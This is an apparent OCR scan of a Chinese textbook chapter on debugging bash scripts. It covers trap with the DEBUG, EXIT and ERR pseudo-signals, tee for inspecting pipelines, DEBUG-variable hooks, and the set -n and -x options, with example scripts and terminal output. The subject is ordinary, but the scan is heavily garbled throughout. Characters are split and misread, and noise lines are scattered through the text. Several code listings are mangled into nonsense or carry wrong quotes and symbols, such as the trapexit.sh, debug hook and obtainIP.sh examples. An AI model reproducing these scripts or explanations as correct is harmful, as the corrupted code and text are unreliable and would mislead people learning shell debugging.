#“1+1” 显 然 不 是 我 们 所 期 望 的 结果 





ws 
The running time 
root@zawu DEBUG 





time to sleep. 
oa fie eee ue 
# 
































runsec.sh 脚本 能 够 执行 完毕 ， 但 是 ，Shell 输出 信息 是 “1+1” 和 “1+1+1” 显然 不 是 我 
们 所 期 望 的 结果 ， 正 确 的 输出 结果 应 该 是 “2” 和 “3”。 究 其 原因 ， 是 runsec.sh 脚本 中 
“count=$count+1” 发 生 错 误 ，count 变量 被 当做 字符 型 进行 处 理 了 ， 正 确 的 写法 应 该 是 “let 
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count=$count+1”。 


再 如 ， 用 户 试图 编写 一 个 脚本 计算 56x865 的 值 
例 16-3: computez .sh 脚本 演示 逻辑 错误 
!/bin/bash 























如 下 的 脚本 : 


山 
EE 



































Varl=56 
Var2=865 


let Var3=Varl*var2 

echo Pearlmb var bv a 

执行 computer.sh 脚本 ， 居 然 得 到 如 下 结果 : 
例 16-3 computer .sh 脚本 执行 结果 
root@jselab DEBUG]# ./compute .sh 
56*865=0 # 乘 法 结果 居然 为 0 
root@jselab DEBUG]# 


computer.sh 脚本 的 结果 输出 56*865=0， 这 显然 不 正确 。 分 析 computer.sh 脚本 的 错误 原 
因 ， 原 来 是 let Var3=Varl*var2 命令 中 的 var2 写 错 了 ， 未 区 分 大 小 写字 母 ，computer.sh 脚本 
定义 的 是 Var2=865， 而 未 定义 var2，var2 是 等 于 0 的 。 圭 面 的 runsec.sh 脚本 和 computer.sh 
脚本 存在 的 错误 就 是 逻辑 错误 ， 对 逻辑 错误 的 调试 比 语法 错误 困难 得 多 ， 因 此 ， 下 一 节 专 门 
讨论 逻辑 错误 的 调试 ， 将 给 出 几 种 Shell 脚本 调试 的 常用 技巧 。 


Shell 脚本 调试 技术 人 


在 了 解 Shell 脚本 错误 类 型 的 基础 上 本 节 将 系统 介绍 常见 的 Shell 脚本 调试 技术 ， 主 要 
包含 四 种 技巧 : trap 命令 、tee 命令 、 调 试 钩 子 和 Shell 选项 。 


16.2.1 使 用 trap 命 全 


12.3.4 节 曾 讨论 了 trap 命令 ，trap 是 Linux 的 内 建 命令 ， 它 用 于 捕捉 信号 。trap 命令 可 以 
指定 收 到 某 种 信号 时 所 执行 的 命令 ， 其 基本 格式 如 下 : 

上 aceomrang 本 ci 全 SI92SM 

Shell 脚本 在 执行 时 ， 会 产生 三 个 所 谓 的 “ 伪 信 号 六 《之 所 以 称 为 “ 伪 信 号 ” 是 因为 这 
三 个 信号 是 由 Shell 产生 的 , 而 其 他 信号 是 由 操作 系统 产生 的 ), 利用 trap 命令 捕获 这 三 个 “ 伪 
信号 ”并 输出 相关 信息 是 Shell 脚本 调试 的 一 种 重要 技巧 。 三 种 “ 伪 信 号 ”分 别 是 EXIT、 
ERR 和 DEBUG， 我 们 将 伪 信 和 号 名 及 其 产生 条 件 列 于 表 16-1 中 。 


表 16-1 Shell 伪 信 号 及 其 产生 条 件 





































































































































































































产生 条 件 





从 函数 中 退出 ， 或 整个 脚本 执行 完毕 
当 一 条 命令 返回 非 零 状态 码 ， 即 命令 执行 不 成 功 


和 本 中 的 每 一 条 命令 执行 之 前 






























































下 面 举 儿 个 例子 来 说 明 trap 命令 在 Shell 脚本 调试 上 的 用 法 ， 首 先 请 看 下 面 的 例 16-4， 
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#!/bin/bash 


该 例 给 出 的 trapdebug.sh 脚本 利 月 
# 例 16-4: trapdebug .sh 脚本 利 

















日 trap 命令 捕捉 DEBUG 信号 来 跟踪 变量 的 取 值 变化 : 
用 trap 命令 捕捉 DEBUG 信号 跟踪 变量 值 














trap 'echo "before execute line: $LINENO, a=$a,b=$b,c=$c"' DEBUG #trap 命令 捕捉 DEBUG 


a=0 
b=2 
c=100 
while 
do 


then 


Ea 


let "a=a+2"™ 


let "b=b*2" 
let “c=c-10™ 
done 


例 16-4 的 trapdebug.sh 脚本 利用 trap 命令 


打印 行 号 ， 以 及 a、b、c 变 
本 的 行 号 。 接 着 ，trapdebug.sh 脚本 定义 a、b、c 三 个 变量 ，while 循环 条 件 是 永 真 ， 







































































# 当 a 大 于 等 于 10 时 ， 跳 出 while 循环 





#a、b、 





c 值 不 断 变化 








和 捉 DEBUG 信号， 
量 的 值 ， 其 中 的 SLINENO 变量 是 bash Shell 的 内 部 变量 ， 














旦 捕捉 到 DEBUG 信号， 
记录 脚 
即 while 




















10 时 ， 跳 出 while 循环 ， 每 次 循环 时 ，a 变量 增加 2、b 变量 扩大 











是 无 限 循环 ， 当 a 大 于 等 于 

2 倍 、c 变量 减少 10。 下 面 给 

一 行 命令 前 都 输出 a、b、c 三 个 变量 的 值 。 
# 例 16-4 trapdebug .sh 脚本 的 执行 结果 
[root@zawu DEBUG]# ./trapdebug.sh 
before execute line:4, a=,b=,c= 
before execute line:5, a=0,b=,c= 
before execute line:6, a=0,b=2,c= 
before execute line:7, a=0,b=2,c=100 
before execute line:9, a=0,b=2,c=100 
before execute line:14, a=0,b=2,c=100 
before execute line:15, a=2,b=2,c=100 
before execute line:16, a=2,b=4,c=100 
before execute line:7, a=2,b=4,c=90 
before execute line:9, a=2,b=4,c=90 
before execute line:14, a=2,b=4,c=90 
before execute line:15, a=4,b=4,c=90 
before execute line:16, a=4,b=8,c=90 
before execute line:7, a=4,b=8,c=80 
before execute line:9, a=4,b=8,c=80 
before execute line:14, a=4,b=8,c=80 
before execute line:15, a=6,b=8,c=80 
before execute line:16, a=6,b=16,c=80 
before execute line:7, a=6,b=16,c=70 
before execute line:9, a=6,b=16,c=70 
before execute line:14, a=6,b=16,c=70 
before execute line:15, a=8,b=16,c=70 
before execute line:16, a=8,b=32,c=70 
before execute line:7, a=8,b=32,c=60 

ine:9, a=8,b=32,c=60 





2 
Se 
ok 








H trapdebug.sh 脚本 的 执行 结果 ， 由 于 trap 命令 的 存在 ， 每 执行 





执行 a=0 前 ， 三 个 变量 都 为 空 


执行 while 循环 前 
执行 i£ 语句 前 
a Me Weasel) 


执行 while 循环 前 
执行 i£ 语句 前 
ST Mae Wa eenil 


执行 while 循环 前 





执行 i£ 语句 前 


次 执 休 Et a=aF2w 有 Hy 


执行 while 循环 前 
执行 i£ 语句 前 
执行 let "a=a+2" 前 


执行 while 循环 前 

















执行 i£ 语句 前 


before execute 11 3 = = 
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亲人 和 下 人生 竹下 到 0 # 第 5 次 执行 let "a=a+2" 前 
before execute line:15, a=10,b=32,c=60 
before execute line:16, a=10,b=64,c=60 





OO # 第 6 次 执行 while 循环 前 
和 # 第 6 次 执行 i£ 语句 前 
before execute 1Line:11，a=10,b=64,c=50 # 执 行 break 语句 前 


[root@zawu DEBUG]# 

Shell 从 执行 tapdebug.sh 脚本 第 4 行 开始 发 出 DEBUG 信号 ， 第 4 行 语句 是 a=0，trap 
命令 在 执行 第 4 行 语句 前 捕捉 到 DEBUG 信和 号， 打印 a、b、c 变量 的 值 ， 由 于 此 时 尚未 开始 
对 此 三 个 变量 进行 初始 化 ， 因 此 ，a、b、c 三 个 变量 的 值 都 为 空 。 执 行 第 5 行 之 前 ，a 变量 已 
被 赋值 ， 所 以 ，a=2，b 和 ec 两 个 变量 仍 为 室 。 直 到 执行 第 7 行 while 前 ，a、b、e 三 个 变量 
都 已 经 初始 化 ， 第 7 行 执行 完毕 ，trap 命令 在 执行 第 9 行 之 前 捕捉 到 DEBUG 信号 ， 这 说明 
第 8 行 〈 即 do 关键 字 ) 不 算命 令 ， 同 样 ，then、done、 扩 等 关键 字 都 无 DEBUG 信和 号 发 出 。 
trapdebug.sh 脚本 执行 了 5 次 循环 ， 直 到 第 6 次 时 ，a 才 大 于 等 于 10，trap 才 捕 捉 到 第 11 行 
break 语句 的 DEBUG 信号 ， 输 出 a=10、b=64 和 c=50。 

在 调试 过 程 中 ， 为 了 跟踪 某 些 变量 的 值 ， 我 们 常常 需要 在 Shell 脚本 的 许多 地 方 插入 相 
同 的 echo 语句 来 打印 相关 变量 的 值 ,这 种 做 法 显得 烦琐 而 笨拙 。 而 利用 trap 命令 捕获 DEBUG 
信号 ， 我 们 只 需要 一 条 trap 语句 就 可 以 完成 对 相关 变量 的 全 程 跟踪 。 从 运行 结果 中 可 以 清晰 
地 看 到 ， 每 执行 一 条 命令 之 后 相关 变量 的 值 的 变化 。 同 时 ， 从 例 16-4 的 trapdebug.sh 脚本 的 
运行 结果 分 析 可 以 看 到 整个 脚本 的 执行 轨迹 ， 能 够 判断 出 哪些 条 件 分 支 执行 了 ， 哪 些 条 件 分 
文 没 有 执行 。 

从 函数 退出 或 脚本 结束 时 ，Shell 发 出 EXIT 信和 号。 下 面 的 例 16-5 给 出 的 trapdebug.sh 脚 
本 利用 trap 命令 捕捉 EXIT 信号 跟踪 函数 结束 : 


# 例 16-5: trapexit.sh 脚本 利用 trap 命令 捕 提 EXIT 信号 跟踪 函数 结束 
#!/bin/bash 









































































































































































































































Crumln) # 定 义 一 个 函数 ， 返 回 值 是 0 
{ 


Cs an eorreet Eunetuony 


var=2010 

return 0 
rap eenomnvnine biNENO Var Pyar exit #trap 命令 捕捉 EXIT 
Eval # 调 用 fun1 函数 




















列 16-5 的 trapexit.sh 脚本 首先 定义 函数 fun1, 再 用 trap 命令 捕捉 EXIT 信号 ,并 调用 fonl 
函数 ， 下 面 给 出 trapexit.sh 脚本 的 执行 结果 : 
例 16-5 trapexit.sh 脚本 的 执行 结果 
root@zawu DEBUG]# chmod ut+x trapexit.sh 
root@zawu DEBUG]# ./trapexit.sh 


















































Th ne on eoreece ome # 在 Eunl 内 的 输出 
nen 0 #trap 命令 捕捉 到 ExIT 信号 后 的 输出 








root@zawu DEBUG]# 
执行 trapexit.sh 脚本 , 首先 输出 fonl 函数 内 的 echo 语句 内 容 , 再 输出 “Line:1,var=2010”， 

这 是 trap 命令 捕捉 到 EXIT 信号 后 的 输出 ， 而 EXIT 信和 号 是 在 funl 函数 执行 完毕 后 产生 的 。 
我 们 注意 到 例 16-5 中 fonl 函数 的 返回 值 是 0，trap 命令 捕捉 到 由 退出 funl 函数 所 产生 
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的 EXIT 信号 ， 那 么 ， 当 函数 返回 值 为 非 零 时 ， 


面 的 例 16-6 的 traperr.sh 脚本 演示 trap 命令 





























甫 捉 ERR 信和 号 的 








函数 执行 完毕 又 会 产生 什么 样 的 信号 呢 ? 下 

















法 : 


# 例 16-6: traperr. sh 脚本 演示 trap 命令 捕捉 ERR 信号 跟踪 函数 或 命令 异常 的 用 法 


#!/bin/bash 


fun2() 
{ 

echo 

var=2010 

return 1 
} 
trap 
Ea 
loreronn sel 


例 16-6 的 traperr.sh 脚本 定义 函数 fun2, 该 函数 返 忆 
是 异常 函数 。 然 后 ，traperrsh 脚本 利用 trap 命令 
出 行 号 和 var 变量 




















和 ipconfig 都 将 返 


内 输 昌 


Vd 





司 


做 


理 





例 16-6 traperr.sh 朋 
root@zawu DEBUG]# ./traperr 
Thue omneorror eu 


























Line:7,var=2010 


Line:11,var=2010 
root@zawu DEBUG]# 





eic 


"echo "Line: $LINENO, Var=$var" "ERR 








# 定 义 一 个 函 





数 ， 返 回 值 是 非 零 





















































trap 命令 捕捉 ERR 

调用 fun2 函数 

执行 一 个 错误 命令 

值 是 1, 非 零 返 回 值 的 函数 都 被 认为 
上 捉 ERR 信和 号， 一 旦 捕捉 到 ERR 信号 ， 就 输 













































































的 值 ，traperrsh 脚本 调用 fun2 函数 ， 并 执行 一 个 错误 的 命令 ipconfig，fun2 
可 非 零 值 ， 因 此 ， 都 将 产生 ERR 信和 号。 下 面 是 traperrsh 脚本 的 执行 结果 : 
本 的 执行 结果 
el 
# 在 fun2 内 的 输出 





#fun2 执行 完毕 时 产生 的 ERR 信号 


erapereashe le on om oe 


#ipconfig 








命令 执行 完毕 时 产生 的 ERR 信号 


从 traperr.sh 脚本 的 执行 结果 可 以 看 出 ,traperr.sh 脚本 首先 执行 fun2 函数 ， 在 该 函数 体 








Zr 























得 比 echo 命令 


16.2.2 ”使 用 tee 命 合 


4 
节 曾 介 


10.2.1 百 引 





绍 过 tee 





两 个 支流 ， 一 个 到 标准 
的 管道 及 输入 /输出 重 定 














非 如 预期 的 那样 ， 


些 中 间 结果 



























































小 


得 机 器 的 IP 地 址 ， 


# 例 16-7: obtain 


#!/bin/bash 








分 -人 
命令 



































Hh “This is an error function”，fun2 执行 完毕 时 产生 ERR 信号 ， 输 出 “Line:7,var=2010”。 
后 ，traperr.sh 脚本 试图 执行 ipconfig 命令 ，ipconfig 找 不 至 
输出 “Line:11,var=2010”。 

trap 命令 通过 捕捉 三 种 “ 伪 信 








|， 发 生 错 误 ， 产 生 ERR 信号， 


号 ”能 方便 地 跟踪 异常 的 函数 和 命令 、 正 第 函数 和 脚本 的 








结束 、 随 时 监控 变量 的 变化 ， 尽 管 这 些 功 能 都 可 以 通过 设置 echo 


十 税 注 ” 言 放 
简洁 、 高 效 。 














命令 ，tee 命令 产生 的 数据 流向 很 像 英文 字母 T， 将 一 个 输出 分 为 
EE 输出， 为 一 个 到 某 输出 文件 。tee 命令 的 这 种 特性 可 以 





用 到 Shell 脚本 








器 的 调试 上 , 当 我 们 发 现 由 管道 连 
就 需要 逐步 检查 各 条 命令 的 执行 结果 来 定位 错误 ， 但 因为 使 用 了 管道 ， 这 
我 们 就 可 以 借助 tee 命令 了 。 
该 例 中 的 脚本 obtainIP.sh 目标 是 获 


不 会 显示 在 屏幕 上 ， 这 给 调试 带 来 了 困 


下 面 举 一 个 例子 说 明 tee 在 调试 脚本 时 























P.sh 脚本 获取 本 





并 存储 到 某 变量 之 中 ，obtainIP.sh 脚本 
也 IP 地 址 ， 将 其 存储 到 localIP 变量 中 











E， 此 时 ， 
的 用 法 ， 























接 起 来 的 


系列 命令 的 执行 结果 并 




















的 内 容 如 下 : 
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# 对 localIP 的 赋值 是 命令 蔡 换 操作 ， 命 令 奉 换 操 作 中 管道 操作 比较 复杂 
由 SeaTIEE eae /ecte/sy eomio/networ kr ser et ecto PAD eu et 
Score localIipe dis: $localre, 


obtainIP.sh 脚本 十 分 简洁 ,用 管道 连接 命令 获得 IP 地 址 ,再 以 命令 蔡 换 的 方式 赋 给 localIP 













































































变量 。 命 令 替 换 操作 中 的 管道 操作 比较 复杂 ， 读 者 难以 明白 管道 间 的 数据 流向 。 对 于 类 似 的 
复杂 管道 操作 的 命令 ， 就 有 必要 添加 tee 命令 将 中 间 结 果 保 存 到 茶 文 件 中 ， 然 后 通过 查看 文 





























三 
件 明白 管道 间 的 数据 流向 ， 我 们 将 obtainIP.sh 脚本 修改 如 下 : 
修改 后 的 obtainIP.sh 脚本 
!/bin/bash 





在 管道 中 添加 tee 命令 ， 将 中 间 结 果 保 存在 debug .txt 文件 中 
localIip cae /ete/syseontiq/neework seriets/ifefa echoltee depuo Eze laree TEADDRY 
[ES 

eched nhe olorp es: ooeonner 


侈 改 后 的 obtainIP.sh 脚本 在 管道 中 添加 tee 命令 ， 将 中 间 结 果 保 存在 debug.txt 文件 中 。 
下 面 先 给 出 obtainIP.sh 脚本 的 执行 结果 和 debug.txt 文件 的 内 容 ， 然 后 分 析 obtainIP.sh 脚本 的 
原理 : 

































































例 16-7 obtainIP.sh 脚本 的 执行 结果 
root@jselab DEBUG]# ./obtainIP.sh 
anv eres ne ee 0 2 le 
root@jselab DEBUG]# cat debug.txt 
Networking Interface 

DEVICE=eth0 
HWADDR=00:0C:29:54:B7:3C 








PADDR=210.28.82.198 #IP 地 址 保存 在 IPADDR 关键 字 之 后 
NETMASK=255.255.255.0 
ONBOOT=yes 


TYPE=Ethernet 
PV6INIT=no 











USERCTL=no 

BOOTPROTO=none 

PREFIX=24 # 以 上 是 cat 命令 的 结果 
IPADDR=210.28.82.198 #grep 命令 的 结果 
210.20. 532.1903 #cut 命令 的 结果 


[root@jselab DEBUG] 


obtainIP.sh 脚本 通过 查询 以 太 网 卡 配 置 文件 /etc/sysconfig/network-scripts/ifcfg-eth0 中 的 人 Pp 
地 址 配置 项 ，cat 命令 显示 出 ifcfg-eth0 文件 的 所 有 内 容 ，ifcfg-eth0 文件 中 以 IPADDR 关键 字 
开头 的 行 保存 了 本 地 IP 地 址 。 因 此， 我 们 用 grep 命令 查找 IPADDR 关键 字 ， 得 到 
“IPADDR=210.28.82.198” 行 ， 该 行 可 以 看 做 是 两 个 域 ， 第 1 域 为 IPADDR， 第 2 域 为 
210.28.82.198， 域 分 隔 符 是 “=” 符 号 。 因 此 , 我 们 用 cut 命令 提取 出 第 2 域 赋 给 localIP 变量 ， 
即 可 得 到 机 器 的 卫 地 址 .通过 在 obtainIP.sh 脚本 中 加 入 tee 命令 ,中 间 结 果 都 保存 在 debug.txt 
文件 中 ， 从 中 可 以 清晰 地 看 出 数据 的 流向 ， 便 于 发 现 脚 本 中 存在 的 逻辑 错误 。 
上 机 提议 第 3 题 给 出 一 个 与 obtainIP.sh 脚本 功能 完全 一 样 的 脚本 ， 请 读者 执行 它 ， 并 用 
tee 命令 进行 调试 ， 发 现 其 中 的 逻辑 错误 。 这 两 个 脚本 非常 实用 ， 可 以 作为 获取 本 地 卫 地 址 
的 代码 段 。 

tee 命令 适用 于 管道 的 调试 ， 通 过 观察 tee 命令 产生 的 中 间 结 果 文 件 ， 可 以 清晰 地 看 
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道 间 的 数据 流向 ， 从 而 为 Shell 脚本 调试 提供 帮助 。 
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16.2.3 ”调试 钧 子 


调试 钩子 也 称 为 调试 块 ， 是 源 自 于 高 级 程序 设计 话 言 中 的 方法 。 调 试 钩子 实际 上 是 一 个 
ibthen 结构 的 代码 块 ，DEBUG 变量 控制 该 代码 块 是 否 执行 ， 在 程序 的 开发 调试 阶段 ， 将 
DEBUG 变量 设置 为 TRUE, 使 其 输出 调试 信息 ， 到 了 程序 交付 使 用 阶段 , 将 DEBUG 设置 为 
FALSE， 关 闭 调试 钩子 ， 而 无 须 一 一 删除 调试 钩子 的 代码 。 在 代码 中 插入 调试 钩子 是 编写 代码 
的 一 种 风格 ， 在 Shell 脚本 编程 时 同样 可 以 使 用 调试 钩子 ， 调 试 钩子 是 如 下 格式 的 一 段 代 码 ; 


mew wevew el] 
then 
sene Deougourne nformatronm 





















































































































































# 在 此 可 添加 其 他 输出 调试 信息 








fi 
调试 钩子 中 的 DEBUG 是 一 个 全 局 变量 ， 在 开发 调试 阶段 ， 可 利用 export DEBUG=true 
命令 将 DEBUG 设置 为 tue， 上 述 ibthen 结构 便 可 以 执行 。 如 果 在 每 一 处 需要 输出 调试 信息 
的 地 方 均 使 用 if/then 结构 来 判断 DEBUG 变量 的 值 ， 显 得 比较 烦琐 ， 我 们 可 以 通过 定义 一 个 
DEBUG 函数 使 植 入 调试 钩子 的 过 程 更 简洁 方便 , 下面 给 出 的 例 16-8 演示 了 调试 钩子 的 用 法 : 


# 例 16-8: debugblock. sh 脚本 演示 调试 钩子 的 用 法 
Ho on /as 


























































































































#DEBUG 函数 封装 了 调试 钩子 ， 可 以 跟 若 干 个 输入 参数 以 输出 调试 信息 

















DEBUG () 
EBVe ee 
then 
$@ # 执 行 所 有 的 输入 参数 ，$* 与 $@ 等 价 
和 
a=0 
b=2 
c=100 
DEBUG echo "a=$a b=$b c=$c" # 第 1 个 调试 多 于 
while : 
do 
DEBUG ecno "a $ap $0 0 $e # 第 2 个 调试 钧 于 
Te (la 2s DO)) # 当 a 大 于 等 于 10 时 ， 跳 出 while 循环 
then 
break 
全 
IeE 用 用 #a、b、c 值 不 断 变化 
let "b=b*2" 
eto re=e = 
done 


例 16-8 的 debugblock.sh 脚本 定义 DEBUG 函数 ， 其 中 封装 了 一 个 调试 钩子 ， 调 试 钩子 
是 一 个 ipthen 结构 ， 当 DEBUG 变量 为 true 时 ， 执 行 所 有 的 位 置 参数 ， 用 $@ 表 示 ， 当 然 也 
可 用 $* 表 示 。 然 后 ，debugblock.sh 脚本 在 下 面 的 代码 中 插入 两 个 调试 钩子 ， 每 个 调试 钩子 的 
语句 为 “DEBUG echo "a=$a b=$b c=$c"”，echo "a=$a b=$b c=$c" 作 为 DEBUG 函数 的 位 置 参 
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数 被 执行 。 下 面 看 一 看 debugblock.sh 脚本 的 执行 结果 : 
# 例 16-8 debugblock.sh 脚本 的 执行 结果 
[root@jselab DEBUG]# export DEBUG=true # 将 DEBUG 置 为 true， 启 动 调试 钧 了 
[root@jselab DEBUG]# ./debugblock.sh 














0 b=2 c=100 
a=0 b=2 c=100 

a=2 b=4 c=90 

a=4 b=8 c=80 

a=6 b=16 c=70 

a=8 b=32 c=60 

a=10 b=64 c=50 
[root@jselab DEBUG]# 














# 调 试 钧 子 跟踪 a、b、c 三 个 变量 的 值 

















执行 debugblock.sh 脚本 之 前 ， 先 用 export 命令 将 DEBUG 赋值 为 tue， 调 试 钩子 启动 ， 
执行 debugblock.sh 脚本 时 ， 不 断 输 出 a、b、c 三 个 变量 的 值 ， 达 到 跟踪 变量 值 变化 的 目的 。 












































例 16-4 的 trapdebug.sh 脚本 用 trap 命令 捕捉 DEBUG 信号 跟踪 变量 值 ， 本 例 使 用 调试 钩子 的 


方法 ， 两 种 方法 达到 的 效果 是 等 价 的 。 


16.2.4 ”使 用 Shell 选项 


















































修改 源 代码 的 方法 。 本 书 9.1 市 

















set 命令 开启 和 关闭 Shell 选项 的 方法 , 在 众多 的 Shell 选项 中 , 有 三 个 选项 可 以 用 于 脚本 的 调 

















上 而 所 述 的 trap 命令 、tee 命令 、 调 试 钩子 等 方法 都 是 通过 修改 Shell 脚本 的 源 代码 ， 令 
内 输出 相关 的 调试 信息 来 定位 错误 的 。 本 节 将 要 介绍 的 使 用 Shell 选项 的 调试 方法 是 一 种 不 
































曾 介 绍 过 bash Shell 选项 的 种 类 、 简 写 及 其 意义 ， 以 及 利用 





























试 ， 它 们 是 -np、-x 和 -c， 如 表 16-2 所 示 。 


选项 名 称 


在 
忆 、 





noexec 读 取 脚 本 中 的 命令 ， 进 行 语法 检查 ， 但 不 执行 这 些 命令 











xtrace 在 执行 每 个 命令 之 前 ， 将 每 个 命令 打印 到 标准 输出 (stdout) 

















无 ... 从 .中 读 取 命令 


-n 选项 可 用 于 测试 Shell 脚本 是 否 存 在 语法 错误 ,但 不 会 实际 执行 命令 。 在 Shell 脚本 编 





















































写 完成 之 后 ， 实 际 执行 之 前 ， 首 先 使 用 -n 选项 来 测试 脚本 是 否 存在 语法 错误 是 一 个 很 好 的 习 
惯 。 因 为 Shell 脚本 中 的 某 些 命令 在 执行 时 会 对 系统 环境 产生 影响 ， 比 如 生成 或 移动 文件 等 ， 
如 果 在 实际 执行 时 才 发 现 语法 错误 ， 就 需要 做 一 些 系统 环境 的 恢复 工作 ， 才 能 继续 测试 这 个 
脚本 。 下 面 的 例 16-9 利用 - 选项 来 测试 脚本 的 语法 错误 ， 我 们 在 16.1 闻 的 misskey.sh 脚本 






































中 添加 上 开启 -n 选项 的 命令 : 









































# 例 16-9: misskey .sh 脚本 演示 利用 -n 选项 来 测试 脚本 的 语法 错误 


#!/bin/bash 


SEE 

eehom starte exeecutune Chus 
var=0 

while : 

ue eas 








# 或 set -o noexec 


SCE. # 用 于 判断 脚本 是 否 执行 
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then 
break 
fi 
let “var=vartl™ 
done 
例 16-9 的 misskey.sh 脚本 首先 开启 -n 选项 ， 可 以 用 两 种 等 价 命 令 set -n 和 set -o noexec， 
然后 , 用 一 行 echo 语句 判断 脚本 是 否 被 执行 , 一旦 执行 misskey.sh 脚本 , echo "Start executing 
this script..." 语 句 必定 被 执行 。 下 面 给 出 misskey.sh 脚本 的 执行 结果 : 


# 例 16-9 misskey .sh 脚本 的 执行 结果 
[root@jselab DEBUG]# ./missskey.sh 
./missskey.sh: line 12: syntax error near unexpected token ‘done' 

/missskey.sh: Jine dl25 "done" # 直 接 输 出 错误 信息 ， 而 未 输出 "Start executing this script..." 
[root@jselab DEBUG]# 


一 旦 执行 misskey.sh 脚本 ， 立 即 输 出 错误 信息 ， 并 未 输出 "Start executing this script..."， 即 
却 本 开始 处 的 echo 命令 未 执行 ， 这 说 明 misskey.sh 脚本 并 未 真正 执行 ， 而 只 是 做 了 语法 检查 。 
在 脚本 中 加 入 set 命令 开启 -n 选项 进行 语法 检查 只 是 一 种 方法 ， 我 们 还 可 以 利用 sh 命令 
直接 对 脚本 进行 语法 检查 ， 命 令 格式 为 ; 

sh -n 脚本 名 

下 面 的 例 16-10 给 出 了 这 一 用 法 的 示例 ， 从 中 可 看 出 使 用 sh 命令 前 后 的 区 别 : 

例 16-10: 演示 用 sh -n 命令 对 脚本 进行 语法 检查 

[root@jselab DEBUG]# cat missskey.sh # 将 set 命令 一 行 去 掉 

#!/bin/bash 
































































































































eehon SoCornt oreo En em ES 
var=0 
while : 
TE | va EC 21 
then 
break 
人 
Jet “var=vart+l1™ 
done 
[root@jselab DEBUG]# sh -n missskey.sh #sh -n 命令 对 脚本 进行 语法 检查 
missskey.sh: line 12: syntax error near Unexpected token ‘done" 























missskey.sh: Tine 1l2: 9 done, 

[root@jselab DEBUG]# ./missskey.sh # 执 行 脚本 
ES #echo 语句 执行 了 
./missskey.sh: line 12: syntax error near unexpected token ‘done' 
./missskey.sh: line 12: ‘done' 

[root@jselab DEBUG]# 


例 16-10 将 misskey.sh 脚本 中 的 set 命令 一 行 去 掉 ， 因 为 既然 使 用 了 sh -n 命令 ， 束 不 再 
需要 set 命令 了 。 然 后 ， 例 16-10 用 sh -n 命令 对 misskey.sh 脚本 进行 语法 检查 ， 结 果 仍 然 是 
立即 输出 错误 信息 ， 而 不 输出 "Start executing this script..." 信 息 ， 但 是 ， 直 接 执行 misskey.sh 
脚本 就 不 一 样 了 ， 首 先是 输出 " Start executing this script…"， 再 输出 错误 信息 ， 因 为 Shell 是 
边 解 释 边 执行 的 ， 当 执行 到 错误 行 时 ， 才 会 输出 错误 信息 ， 并 不 影响 其 他 行 命令 的 执行 。 

-x 选项 可 用 来 跟踪 脚本 的 执行 ,是 Shell 脚本 调试 的 强 有 力 工具 ，-x 选项 使 Shell 在 执行 
脚本 的 过 程 中 把 它 实 际 执行 的 每 一 个 命令 行 显示 出 来 ,， 并且 在 行 首 显示 一 个 “+” 符号,“+” 
符号 后 面 显示 的 是 经 过 了 变量 奉 换 之 后 的 命令 行内 容 ， 有 助 于 分 析 实 际 执行 的 命令 。-x 选项 
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用 起 来 简单 方便 ， 可 以 满足 大 多 数 的 Shell 调试 任务 的 需要 ， 是 程序 员 首 选 的 调试 手段 。-x 
项 经 常 与 trap 捕捉 DEBUG 信和 号 结合 使 用 ， 这 样 既 可 以 输出 实际 执行 的 每 一 条 命令 ， 又 可 


























逐 行 跟踪 相关 变量 的 值 ， 对 调试 相当 有 帮助 。 
与 选项 类 似 , 使 用 -x 选项 也 有 两 种 方法 , 寿 












































E 脚 本 内 用 set 命令 打开 -x 选项 , 或 者 用 sh -x 














行 脚本 。 下 面 的 例 16-11 以 例 16-4 的 trapdebug.sh 脚本 为 例 , 来 说 明 -x 选项 与 捕捉 DEBUG 











号 相 结 合 达 到 的 效果 : 























# 例 16-11: 将 -x 选项 与 trap 捕捉 DEBUG 信号 相 结合 对 trapdebug .sh 脚本 进行 调试 





# 结 果 中 以 “+” 符 号 开头 的 是 -x 选项 输出 的 语句 ; “++ 


[root@jselab DEBUG]# sh -x trapdebug.sh 











”符号 开头 的 是 trap 命令 输出 的 语句 
# 以 -x 选项 执行 trapdebug. sh 脚本 
a=$a, b=$b, c=$c"' DEBUG 








trao osenomuerere cenme ne PLNeNoR 

++ echo 'before execute line:4, a=,b=,c=" 
before execute line:4, a=,b=,c= 

+ a=0 

++ echo "before execute line:5, a=0,b=,c=" 
before execute line:5, a=0,b=,c= 

+ b=2 

++ echo "before execute line:6, a=0,b=2,c=" 
before execute line:6, a=0,b=2,c= 

+ C=100 

++ echo 'before execute line:7, a=0,b=2,c=100' 
before execute line:7, a=0,b=2,c=100 

i 

++ echo "before execute line:9, a=0,b=2,c=100" 
before execute line:9, a=0,b=2,c=100 

0 站 

++ echo "before execute line:14, a=0,b=2,c=100"' 
before execute line:14, a=0,b=2,c=100 

+ let a=a+2 

++ echo 'before execute line:15, a=2,b=2,c=100' 
before execute line:15, a=2,b=2,c=100 

"ee Mela! 

++ echo "before execute line:16, a=2,b=4,c=100"' 
before execute line:16, a=2,b=4,c=100 

let c=e 10 

++ echo 'before execute line:7, a=2,b=4,c=90' 
before execute line:7, a=2,b=4,c=90 

让 

++ echo "before execute line:9, a=2,b=4,c=90'" 
before execute line:9, a=2,b=4,c=90 
(0400.) 

++ echo "before execute line:14, a=2,b=4,c=90" 
before execute line:14, a=2,b=4,c=90 

+ let a=a+2 

++ echo "before execute line:15, a=4,b=4,c=90" 
before execute line:15, a=4,b=4,c=90 

a Me Mosley 

++ echo "before execute line:16, a=4,b=8,c=90" 
before execute line:16, a=4,b=8,c=90 

et < 三 三 下 人 

++ echo "before execute line:7, a=4,b=8,c=80" 
before execute line:7, a=4,b=8,c=80 

下 
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++ echo "before execute line:9, a=4,b=8,c=80" 
before execute line:9, a=4,b=8,c=80 
+ (lB 2= LO )) 
++ echo "before execute line:14, a=4,b=8,c=80" 
before execute line:14, a=4,b=8,c=80 
+ let a=a+2 
++ echo "before execute line:15, a=6,b=8,c=80" 
before execute line:15, a=6,b=8,c=80 
+ let 'b=b*2' 
++ echo ‘'before execute line:16, a=6,b=16,c=80"' 
before execute line:16, a=6,b=16,c=80 
+ let c=c-10 
++ echo "before execute line:7, a=6,b=16,c=70" 
before execute line:7, a=6,b=16,c=70 
++ echo "before execute line:9, a=6,b=16,c=70" 
before execute line:9, a=6,b=16,c=70 
由 
++ echo "before execute 1Line:14，a=6,b=16,c=70! 
before execute line:14, a=6,b=16,c=70 
+ let a=a+2 
++ echo "before execute line:15, a=8,b=16,c=70"' 
before execute line:15, a=8,b=16,c=70 
+ let 'lb=b*2' 
